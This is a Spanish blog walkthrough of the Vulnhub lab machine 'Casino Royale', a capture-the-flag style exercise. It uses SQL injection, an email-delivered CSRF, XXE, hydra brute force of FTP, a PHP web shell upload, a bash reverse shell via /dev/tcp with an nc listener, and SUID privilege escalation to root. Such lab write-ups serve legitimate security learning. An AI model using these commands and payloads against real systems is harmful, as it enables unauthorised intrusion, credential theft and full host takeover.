Casino Royale - Vulnhub

Casino Royale - Vulnhub

mié. 31 jul 2024
9 minutos


Casino Royale es una máquina Linux de nivel medio que puede ser un reto realista, pero también puede llevarte a perder tiempo en rabbit holes debido a sus numerosas funcionalidades y páginas que no conducen a nada. A pesar de ello, existen varias formas de solucionar sus desafíos. En este post, compartiré la ruta que seguí, la cual es solo una de las muchas posibles para completar la máquina.

Ya que la enumeración es algo simple y en este caso tedioso, en la mayoría de casos me lo saltaré e iré directamente a las vulnerabilidades explicando cómo llegué a ellas.

Por útlimo, en vez de usar la IP que tuvo mi máquina usaré casino-royale.local la cual tendrá mayor sentido más adelante.

Índice Link to Índice

Fase de reconocimiento Link to Fase de reconocimiento

Reconocimiento de puertos y servicios Link to Reconocimiento de puertos y servicios

Empezaremos utilizando nmap para descubrir los puertos abiertos accesibles.

BASH
1
2
3
4
5
6
7
8
9
10
11
nmap -p- --open -sS --min-rate 5000 -Pn -n -v -oG allPorts casino-royale.local
Nmap scan report for casino-royale.local
Host is up (0.000079s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
25/tcp   open  smtp
80/tcp   open  http
8081/tcp open  blackice-icecap
MAC Address: 08:00:27:F3:F5:0C (Oracle VirtualBox virtual NIC)

Podemos observar varios servicios, siendo los más importantes: ftp, smtp y http.

Una vez hemos visto que puertos están abiertos procedemos cuáles son esos servicios y su versión:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nmap -sCV -p21,25,80,8081 -oN targeted casino-royale.local
Nmap scan report for casino-royale.local
Host is up (0.00038s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
25/tcp   open  smtp    Postfix smtpd
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after:  2028-11-14T20:14:11
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 2 disallowed entries 
|_/cards /kboard
|_http-title: Site doesn't have a title (text/html).
8081/tcp open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:F3:F5:0C (Oracle VirtualBox virtual NIC)

Las versiones en este caso no son vulnerables.

LeaderBoard Link to LeaderBoard

Una vez, escaneado los puertos procedemos a enumerar el servicio http. Si usamos alguna herramienta como gobuster podremos ver que existe un index.php (http://casino-royale.local/index.php).

Si nos fijamos bien, hay una funcionalidad de filtrado de torneos:

Si interceptamos la petición con burpsuite podemos ver que que viajan dos parámetros por POST: op y tournamentid:

Si probamos vulnerabilidades en ambos parámetros, daremos con un SQL injection en el parámetro torunamentid.

Al explotar la vulnerabilidad nos damos cuenta que hay varias bases de datos en el servidor:

La más importante es la base de datos pokerleague pero la de vip nos da información sobre otro lugar del sitio web que ya veremos más adelante.

Dentro de la base de datos pokerleague encontraremos con una tabla pokermax_admin con las siguientes credenciales: admin:raise12million:

Pokeradmin Link to Pokeradmin

En la fase de fuzzeo web, me encontré con el directorio /pokeradmin. Si nos dirigimos allí encontraremos el siguiente login:

Si probamos las credenciales anteriores accederemos como admin.

También podríamos burlar el login realizando un SQLI Bypass:

Por último, una vez logueados, podemos observar la siguiente cookie:

Si probamos a setearnos esta cookie sin estar logueados y accedemos a main.php, nos dejará entrar sin pasar por el login.

De esta página, lo que nos interesa es la información de los jugadores que se encuentra en manage players y la info la podemos consultar dándole al botón Edit info:

La información que nos interesa se encuentra en el jugador Valenka:

Es el único que tiene email y habla sobre la ruta /vip-client-portfolios/?uri=blog. Esta ruta también la podríamos haber conseguido en la base de datos vip mencionada anteriormente que corresponde a la de esta sección de la página web. En esta base de datos se encuentran los usuarios y contraseña del blog, pero están hasheados y tienen aplicado un salt por lo que es complicado crackearlos.

En la información también hablan de que están en casino-royale.local que es como me he estado refiriendo a la máquina todo este tiempo. Si visitamos a http://<ip>/vip-client-portfolios/?uri=blog podremos observar que las imágenes no cargan. Para que lo hagan deberás de cambiar tu /etc/hosts para que casino-royale.local redirija a la ip de la máquina.

Snowfox CMS Link to Snowfox CMS

Si nos dirigimos a http://casino-royale.local/vip-client-portfolios/?uri=blog podremos ver lo siguiente:

Si buscamos en searchsploit alguna vulnerabilidad de Snowfox CMS encontraremos lo siguiente:

Existe una vulnerabilidad de Cross-Site Request Forgery. Esta es una vulnerabilidad de tipo Client Side, es decir, es necesario de la interacción de un usuario para que se produzca.

Si nos fijamos en el último post, podremos encontrar una pista:

Tenemos una manera para que un usuario administrador ejecute el CSRF.

Para ello:

  • El email tiene que ir dirigido a valenka cuyo email está en Pokeradmin y es valenka
  • En el asunto del email debe de estar un usuario, que será uno de los jugadores que vimos en Pokeradmin. En mi caso escogí a obanno.
  • Poner un link, que lleve a una página que hosteemos nosotros que contendrá el código HTML malicioso con el CSRF.

Comandos necesarios para enviar el correo:

PLAINTEXT
1
2
3
4
5
6
7
8
9
10
telnet <ip> 25
mail from: nombre
rcpt to: valenka
data
subject: obanno

http://<nuestra ip>/mailicious.html

.
quit

Se deben de respetar los saltos de línea.

En el caso del HTML, me traje el que encontramos en searchsploit con:

BASH
1
searchspoit -m php/webapps/35301.html

Y lo renombré a malicious.html.

Hay que adaptar el código a nuestro caso específico

Luego hostee un servicio http con python en esa misma carpeta:

PY
1
python3 -m http.server 80

Después de que valenka caiga en el CSRF, podremos entrar en el sitio como el usuario que definimos en el HTML el cual tendrá privilegios de administrador.

Una vez más, si nos dirigimos al apartado de los usuarios y vemos su información, obtendremos más pistas. En este caso, es el usuario le el que nos la da.

En este caso, obtenemos una nueva ruta llamada /ultra-access-view/main.php.

Ultra access Link to Ultra access

Si nos dirigimos a http://casino-royale.local/ultra-access-view/main.php nos aparecerá lo siguiente:

Si vemos el código de la página veremos la siguiente pista:

Parece ser que acepta por POST la siguiente estructura XML:

XML
1
2
3
4
<creds>
  <customer>username</customer>
  <password>password</password>
</creds>

Si probamos a enviar esta estructura por POST veremos la siguiente respuesta:

Podemos ver que efectivamente la página web interpreta el username y lo refleja en la página web. Si probamos a hacer un XXE, veremos que es posible leer del fichero /etc/passwd:

Podemos observar que hay un usuario llamado ftpUserULTRA. Podemos intentar a crackear la contraseña del usuario con el diccionario rockyou.txt e hydra por el servicio ftp:

BASH
1
hydra -l ftpUserULTRA -P rockyou.txt ftp://<ip> -t 20

Da como resultado la contraseña bankbank y así podemos entrar en el servicio ftp.

Hay que recalcar que si entramos en http://casino-royal.local/ultra-access-view entramos en una página de directory listing que refleja los ficheros a los que vamos a acceder a continuación por ftp.

Para poder ganar acceso a la máquina debemos de subir un archivo php por ftp. El mío será el siguiente:

PHP
1
<?php echo system($_GET['command']); ?>

Si intentamos subirlo con el comando de ftp mget no nos dejará ya que aplica una blacklist de extensiones. Si cambiamos la extensión a php3 si nos deja.

Para que nos interprete el exploit necesitaremos dar permisos de lectura al archivo en el servidor ftp con:

BASH
1
chmod 777 exploit.php3

Una vez hecho esto debemos de dirigirnos a nuestro exploit desde la url desde http://casino-royal.local/ultra-access-view y en mi caso escribir la siguiente reverse shell en bash:

BASH
1
/bin/bash -c '/bin/bash -i >& /dev/tcp/[ip]/[port] 0>&1' 

En burpsuite quedaría así:

Yo usaré el puerto 443 para entablar la reverse shell:

BASH
1
nc -nlvp 443

Escalada de privilegios Link to Escalada de privilegios

Una vez en la máquina, buscamos por binarios con privilegios SUID:

PLAINTEXT
1
find / -perm -4000 2>/dev/null

Y nos encontramos con lo siguiente:

Es un archivo propio de la máquina. Si lo ejecutamos dice lo siguiente:

Dice que necesita de un archivo run.sh. Probamos un archivo creado por nosotros con el mismo nombre y que contenga lo siguiente:

BASH
1
2
3
#!/bin/bash

bash -p

Si ejecutamos ahora el binario estaremos como root:

Por último, solo quedaría ver la flag: